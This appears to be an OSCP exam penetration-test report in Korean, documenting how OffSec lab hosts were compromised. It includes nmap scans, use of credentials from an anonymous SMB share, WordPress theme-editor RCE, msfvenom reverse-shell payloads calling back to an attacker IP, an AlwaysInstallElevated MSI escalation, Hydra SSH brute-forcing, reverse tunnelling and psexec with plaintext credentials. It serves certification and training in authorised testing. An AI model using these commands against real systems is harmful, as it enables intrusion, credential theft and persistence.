OffSec Certified Professional

Exam Report

v.2.0

raen0730@gmail.com

OSID: 시험 번호

A blue and purple circle with lines in it

Description automatically generated

Copyright © 2024 OffSec Ltd. All rights reserved.

OffSec의 사전 서면 허가 없이는 이 출판물의 전체 또는 일부를 막론하고 복제, 복사, 양도하거나 저작권자가 보유한 그 밖의 권리를 침해하는 방식으로 사용할 수 없습니다. 여기에는 사진 복사 및 기타 모든 복사 행위, 네트워크나 다른 통신 수단을 이용한 전송, 원격 학습을 위한 방송, 그리고 정보 저장·전송·검색 시스템을 이용하는 등 어떠한 형태나 수단도 포함됩니다.

Table of Contents

[1 OffSec Certified Professional 시험 보고서 4](#_Toc219752994)

[1.1 소개 4](#_Toc219752995)

[1.2 목표 4](#_Toc219752996)

[1.3 요구 사항 4](#_Toc219752997)

[2 고수준 요약(High-Level Summary) 4](#_Toc219752998)

[2.1 권고 사항 5](#_Toc219752999)

[3 방법론 5](#_Toc219753000)

[3.1 정보수집 5](#_Toc219753001)

[3.2 서비스 열거 5](#_Toc219753002)

[3.3 침투 5](#_Toc219753003)

[3.4 액세스 유지 6](#_Toc219753004)

[3.5 뒷정리(House Cleaning) 6](#_Toc219753005)

[4 독립 과제 7](#_Toc219753006)

[4.1 타겟 #1 – 192.168.232.55 7](#_Toc219753007)

[4.1.1 초기 접근 – 익명 SMB 공유를 통한 워드프레스 RCE 7](#_Toc219753008)

[4.1.2 서비스 열거 7](#_Toc219753009)

[4.1.3 초기 접근 – SMB 공유에서 워드프레스 RCE로 9](#_Toc219753010)

[4.1.4 권한 상승 - AlwaysInstallElevated 16](#_Toc219753011)

[4.1.5 공격 후 작업(Post Exploitation) 18](#_Toc219753012)

[5 Active Directory Set 20](#_Toc219753013)

[5.1 Ajla – 10.4.4.10 20](#_Toc219753014)

[5.1.1 초기 접근 – 비밀번호 무차별 대입(Brute-Forcing) 20](#_Toc219753015)

[5.1.2 권한 상승 – Sudo 그룹 취약점 21](#_Toc219753016)

[5.1.3 공격 후 작업(Post-Exploitation) 22](#_Toc219753017)

[5.2 Poultry – 10.5.5.20 23](#_Toc219753018)

[5.2.1 초기 접근 – RDP 로그인 23](#_Toc219753019)

[5.2.2 공격 후 작업(Post-Exploitation) 23](#_Toc219753020)

[5.3 DC – 10.5.5.30 25](#_Toc219753021)

[5.3.1 초기 접근 – 원격 명령 실행 25](#_Toc219753022)

[5.3.2 공격 후 작업(Post-Exploitation) 26](#_Toc219753023)

# OffSec Certified Professional 시험 보고서

## 소개

OffSec Certified Professional(OSCP) 시험 보고서에는 OSCP 시험에 합격하기 위해 수행된 모든 노력의 과정이 담겨 있습니다. 이 보고서에는 전체 시험에 합격하기 위해 사용된 모든 항목이 포함되어야 하며, 시험의 모든 측면에 대한 정확성과 충실성을 기준으로 채점됩니다. 이 보고서의 목적은 학생이 모의 침투(Penetration Testing) 방법론을 완전히 이해하고 있는지, 그리고 OSCP 자격을 통과할 수 있는 기술적 지식을 갖추었는지 확인하는 데 있습니다.

## 목표

이 평가의 목적은 OffSec 랩 및 시험 네트워크를 대상으로 내부 모의 침투(Internal Penetration Test)를 수행하는 것입니다. 학생은 목표 대상에 대한 접근 권한을 획득하기 위해 체계적인 접근 방식을 따라야 합니다. 이 테스트는 실제 모의 침투 테스트와 유사하게 시뮬레이션되어야 하며, 전체 보고서를 포함하여 시작부터 끝까지 어떻게 진행하는지를 보여주어야 합니다. 이 문서의 뒷부분에는 시험 합격에 필요한 요건에 대해 충분한 정보를 제공하는 예시 페이지가 이미 마련되어 있습니다. 샘플 보고서를 가이드라인으로 활용하여 보고서를 작성하십시오.

## 요구 사항

학생은 이 모의 침투 테스트 보고서를 빠짐없이 작성해야 하며, 다음 섹션들을 반드시 포함해야 합니다 :

* 전반적인 고수준 요약 및 권고 사항 (비기술적 내용)
* 방법론에 대한 단계별 설명(Walkthrough) 및 수행한 단계의 상세 개요
* 각 발견 사항 (스크린샷, 단계별 설명, 샘플 코드, 그리고 해당되는 경우 proof.txt 포함)
* 그 외 포함되지 않은 추가 항목들

# 고수준 요약(High-Level Summary)

# John Doe는 OffSec 랩을 대상으로 내부 모의 침투(Internal Penetration Test)를 수행하는 임무를 맡았습니다. 내부 모의 침투란 내부망에 연결된 시스템을 대상으로 수행하는 특화된 공격 시뮬레이션입니다. 이 테스트의 핵심은 해커와 유사한 공격을 수행하여 OffSec의 내부 랩 시스템인 THINC.local 도메인에 침투를 시도하는 것입니다. John의 전체적인 목표는 네트워크를 평가하고, 시스템을 식별하며, 취약점을 공략(Exploit)한 뒤 그 결과를 OffSec에 보고하는 것이었습니다. 내부 모의 침투를 수행하는 과정에서 OffSec 네트워크상에 우려할 만한 취약점이 다수 발견되었습니다. 공격을 진행하면서 John은 주로 최신 패치 미적용 및 미흡한 보안 설정으로 인해 여러 시스템에 대한 접근 권한을 획득할 수 있었습니다. 테스트 기간 동안 John은 다수의 시스템에 대해 관리자(Administrative) 권한을 획득했습니다. 모든 대상 시스템은 성공적으로 공략되었으며 접근 권한이 확보되었습니다.

## 권고사항

John은 향후 공격자가 이러한 시스템을 악용할 수 없도록, 테스트 과정에서 식별된 취약점을 패치할 것을 권고합니다. 유의해야 할 점은 이러한 시스템에는 빈번한 패치가 필요하며, 일단 패치가 완료되더라도 추후 발견될 수 있는 새로운 취약점으로부터 시스템을 보호하기 위해 정기적인 패치 관리 프로그램에 따라 지속적으로 관리되어야 한다는 것입니다..

# 방법론

John은 OffSec 랩 및 시험 환경의 보안 수준을 테스트하는 데 효과적이며 널리 채택된 모의 침투 접근 방식을 활용했습니다. 아래 내용은 John이 다양한 시스템을 식별하고 공략(Exploit)한 방법에 대한 세부 내역이며, 발견된 모든 개별 취약점 정보를 포함하고 있습니다.

## 정보 수집

모의 침투 테스트의 정보 수집 단계는 테스트의 범위를 식별하는 데 중점을 둡니다. 이번 모의 침투 테스트에서 John은 랩(Lab) 및 시험 네트워크를 공략하는 임무를 맡았습니다. 구체적인 IP 주소는 다음과 같습니다:

**Exam Network:**

192.168.232.55, 172.16.203.134, 172.16.203.135, 172.16.203.136

## Service Enumeration

모의 침투 테스트의 서비스 열거(Service Enumeration) 단계는 시스템에서 어떤 서비스가 활성화되어 있는지에 대한 정보를 수집하는 데 중점을 둡니다. 이는 시스템에 대한 잠재적인 공격 벡터(Attack Vectors)에 관한 상세 정보를 제공하므로 공격자에게 매우 유용한 정보입니다. 시스템에서 어떤 애플리케이션이 실행되고 있는지 파악하는 것은 실제 침투 테스트를 수행하기 전에 공격자에게 필요한 정보를 제공해 줍니다. 경우에 따라, 일부 포트는 목록에 나타나지 않을 수도 있습니다.

## 침투

이 평가의 모의 침투 테스트 단계는 다양한 시스템에 대한 접근 권한을 획득하는 데 중점을 둡니다. 이번 모의 침투 테스트에서 John은 50개의 시스템 중 10개 시스템에 성공적으로 접근할 수 있었습니다.

## 액세스 유지

공격자로서 시스템에 대한 액세스를 유지하는 것은 중요하며, 공격(Exploit)이 수행된 후 시스템에 다시 접근할 수 있도록 보장하는 것은 매우 가치 있는 일입니다. 모의 침투 테스트의 액세스 유지(Maintaining Access) 단계는 집중적인 공격(예: 버퍼 오버플로우)이 발생한 후, 시스템에 대한 관리자 권한을 지속적으로 확보할 수 있도록 하는 데 중점을 둡니다. 많은 공격 기법(Exploit)은 단 한 번만 성공할 수 있으며, 이미 공격을 수행한 후에는 해당 시스템에 다시 침투하지 못할 수도 있기 때문입니다.

John은 침해된 모든 시스템에 관리자(Administrator) 및 루트(Root) 수준의 계정을 추가했습니다. 관리자/루트 권한 외에도, 추가적인 접근 경로를 확보하기 위해 Metasploit Meterpreter 서비스가 해당 머신에 설치되었습니다.

## 뒷정리(House Cleaning)

평가의 뒷정리(House cleaning) 단계는 모의 침투 테스트의 흔적을 확실히 제거하는 과정입니다. 종종 도구의 파편이나 사용자 계정이 조직의 컴퓨터에 남겨져 향후 보안 문제를 야기할 수 있습니다. 따라서 세심한 주의를 기울여 모의 침투 테스트의 잔재가 남지 않도록 하는 것이 중요합니다. 랩 네트워크와 시험 네트워크의 모든 목표를 달성한 후, John은 모든 사용자 계정과 비밀번호, 그리고 시스템에 설치된 Meterpreter 서비스를 제거했습니다. OffSec 측에서 시스템에 남은 사용자 계정이나 서비스를 별도로 제거할 필요가 없도록 조치해야 합니다.

|  |  |  |  |  |  |
| --- | --- | --- | --- | --- | --- |
| Independent ChallengesTarget #1 – 192.168.232.55Initial Access – Anonymous SMB share leads to Wordpress RCE **Vulnerability Explanation:** The SMB server is not protected with the password and has some sensitive information like credentials store. Which leads to RCE from wordpress theme editor.  **Vulnerability Fix:** The SMB should be configured with credentials and guest enumeration should be disabled.  **Severity: Critical**  **Steps to reproduce the attack:** Ran the initial service scan John discovered that this host is called Sehnzi. Smbclient was used to interact on the port 445 to get the passwords.txt file from SMB share shenzi and used those credentials for wordpress admin access. Service Enumeration **Port Scan Results**   |  |  | | --- | --- | | **IP Address** | **Ports Open** | | 192.168.232.55 | **TCP**: 21, 80, 135, 139, 443, 3306, 49666 |   We run nmap to scan the target and found a few ports open.  └─$ nmap 192.168.232.55 -p- --min-rate 20000  Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-17 10:28 +04  Warning: 192.168.232.55 giving up on port because retransmission cap hit (10).  Nmap scan report for 192.168.232.55  Host is up (0.27s latency).  Not shown: 48865 filtered tcp ports (no-response), 16662 closed tcp ports (conn-refused)  PORT STATE SERVICE  21/tcp open ftp  80/tcp open http  135/tcp open msrpc  139/tcp open netbios-ssn  443/tcp open https  445/tcp open microsoft-ds  3306/tcp open mysql  49665/tcp open unknown  Nmap done: 1 IP address (1 host up) scanned in 173.20 seconds    └─$ nmap -sCV 192.168.232.55   Initial Access – SMB share to Wordpress RCE SMB revlead a ‘Shenzi’ share which was not protected with password and has interesting files for us.  └─$ smbclient -L \\\\192.168.232.55    └─$ smbclient \\\\192.168.232.55\\shenzi  Password for [WORKGROUP\kali]:  Try "help" to get a list of possible commands.  smb: \> ls  . D 0 Thu May 28 19:45:09 2020  .. D 0 Thu May 28 19:45:09 2020  passwords.txt A 894 Thu May 28 19:45:09 2020  readme\_en.txt A 7367 Thu May 28 19:45:09 2020  sess\_klk75u2q4rpgfjs3785h6hpipp A 3879 Thu May 28 19:45:09 2020  why.tmp A 213 Thu May 28 19:45:09 2020  xampp-control.ini A 178 Thu May 28 19:45:09 2020  12941823 blocks of size 4096. 5850488 blocks available  Shenzi share has passwords.txt file, we will download it which can be used for login in wordpress admin account.  └─$ smb: \> get passwords.txt    └─$ cat passwords.txt  From all the password admin:FeltHeadwallWight357 looks interesting, We couldn’t find any interesting directory with our directory busting enumeration using common wordlists, however if use our Share name it revels a wordpress site.  └─$ http://192.168.232.55/shenzi/  We used initially discovered credentials admin:FeltHeadwallWight357 from the SMB share to login into wordpress.  └─$ http://192.168.232.55/shenzi/wp-login.php    After successfully logged in, we'll navigate to Appearance -> Theme Editor -> Theme Twenty Twenty to determine the active website theme. If we select a .php page (such as 404.php) we discover that we can directly edit the page's source code.  http://192.168.232.55/shenzi/wp-admin/theme-editor.php?file=404.php&theme=twentytwenty    We generated meterpreter payload with MSF and updated 404.php code with it to get a RCE .  └─$ msfvenom -p php/meterpreter/reverse\_tcp lhost=192.168.45.154 lport=443 -f raw > shell.php          After updating 404.php file we will visit <http://192.168.232.55/shenzi/wp-content/themes/twentytwenty/404.php> to execute the reverse shell and catch it using multi/handler.    Meanwhile, on our Metasploit console:    Since PHP reverse shells are somewhat unstable, let's upload a more stable shell, which we'll generate with msfvenom and uploading using meterpreter.  └─$ msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.45.154 LPORT=139 -f exe > shell.exe    On Kali attacking machine:  └─$ sudo nc -lvp 139  On Meterpreter session:  meterpreter > upload shell.exe  meterpreter > execute -f shell.exe      **Local.txt value:**  └─$ whoami && ipconfig && type local.txt   Privilege Escalation - AlwaysInstallElevated We used PowerUp.ps1 to check the low-hanging fruit and found that system is vulnerable to AlwaysInstallElevated. As Microsoft mentioned, This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting.   * <https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1> * <https://learn.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated>   └─$ python -m http.server 80    └─$ iwr http://192.168.45.154/PowerUp.ps1 -o PowerUp.ps1    We’ll load the PowerUp.ps1 script into powershell and check for any low-hanging fruit.  PS C:\Users\shenzi\Desktop> . .\PowerUp.ps1  PS C:\Users\shenzi\Desktop> Invoke-AllChecks      We can also confirm this vulnerability using manual command as suggested by Microsoft.  URL: <https://learn.microsoft.com/en-us/windows/win32/msi/alwaysinstallelevated>  PS C:\Users\shenzi\Desktop> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer  reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer  HKEY\_LOCAL\_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer  AlwaysInstallElevated REG\_DWORD 0x1  PS C:\Users\shenzi\Desktop> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer  reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer  HKEY\_CURRENT\_USER\SOFTWARE\Policies\Microsoft\Windows\Installer  AlwaysInstallElevated REG\_DWORD 0x1  We’ll generate .msi payload and transfer it to execute on target machine to get elevated shell.  └─$ msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.45.154 LPORT=445 -f msi > notavirus.msi    └─$ python -m http.server 80    └─$ iwr http://192.168.45.154/notavirus.msi -o notavirus.msi    └─$ PS C:\Users\shenzi\Desktop> msiexec /i notavirus.msi    └─$ sudo nc -lvnp 445   Post Exploitation **Proof.txt value:**  c:\Users\Administrator\Desktop> whoami && ipconfig && type proof.txt |  |
| Active Directory Set **Port Scan Results**   |  |  | | --- | --- | | **IP Address** | **Ports Open** | | 10.4.4.10 | **TCP:** 22, 80 | | 10.5.5.20 | **TCP:** 135, 139, 445, 3389 | | 10.5.5.30 | **TCP:** 53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 3389 |  Ajla – 10.4.4.10Initial Access – Password Brute-Forcing **Vulnerability Explanation:** The user account on the Ajla host was protected by a trivial password that was cracked within 5 minutes of brute-forcing.  **Vulnerability Fix:** The SSH service should be configured to not accept password-based logins and the user account itself should contain a unique password not contained in the publicly available wordlists.  **Severity: Critical**  **Steps to reproduce the attack:** rom the initial service scan John discovered that this host is called Ajla. After adding the target’s IP to the /etc/hosts file, the Hydra tool was run against the SSH service using the machine’s DNS name instead of its IP. With the extracted password at hand John was able to log in as ajla using SSH.  └─$ hydra -l ajla -P /home/kali/rockyou.txt -T 20 sandbox.local ssh   Privilege Escalation – Sudo groupVulnerability **Explanation:** sudo group allows any user in this group to escalate privileges to the root if they know the user’s password.  **Vulnerability Fix:** The SSH service should be configured to not accept password-based logins and the user account itself should contain a unique password not contained in the publicly available wordlists.  **Severity: Critical**  **Steps to reproduce the attack:** John spotted that the ajla user was a member of the sudo group immediately upon logging in and using the “id” command. And knowing user’s password, he only needed to use a single command “sudo su” in order to obtain a root shell.   Post-Exploitation **System Proof screenshot:**  After collecting the proof files and establishing a backdoor using SSH, John began the enumeration of the filesystem for the presence of interesting files. He noticed that there was a mounted share originating from the 10.5.5.20 IP. Inspecting a custom sysreport.ps1 script in the /mnt/scripts directory he found cleartext credentials for the “sandbox\alex” user. Taking into consideration the type of scripts in this directory and the username structure, it seems that the “Poultry” host is a part of the Active Directory environment.  John began the lateral movement by establishing a reverse dynamic port forwarding using SSH. First, he generated a new pair of SSH keys and added those to the authorized\_keys file on his Kali VM, then he just needed to issue a single SSH port forwarding command:  └─$ ssh-keygen -t rsa -N ‘’ -f ~/.ssh/key  └─$ ssh -f -N -R 1080 -o “UserKnownHostsFile=/dev/null” -o “StrictHostKeyChecking=no” -I key [kali@192.168.119.164](mailto:kali@192.168.119.164)  With the dynamic reverse tunnel established, John only needed to edit the /etc/proxychains.conf to use the port 1080. Poultry – 10.5.5.20Initial Access – RDP login **Steps to reproduce the attack:** with the credentials at hand and a reverse tunnel established, John connected to an RDP session using proxychains accepting the certificate when prompted and entering the retrieved password afterward.  └─$ proxychains xfreerdp /d:sandbox /u:alex /v:10.5.5.20 +clipboard Post-Exploitation **Local Proof Screenshot:**    John noticed the presence of the Thunderbird program on the user’s desktop, and while checking Alex’s inbox he found the email from a local administrator Roger:  [...] DC – 10.5.5.30Initial Access – Remote Commands Execution **Steps to reproduce the attack:** John was able to reuse a temporary password that the administrator left for Alex.  └─$ proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py admin:[UWyBGeTp3Bhw7f@10.5.5.30](mailto:UWyBGeTp3Bhw7f@10.5.5.30)   Post-Exploitation **System Proof Screenshot:** | |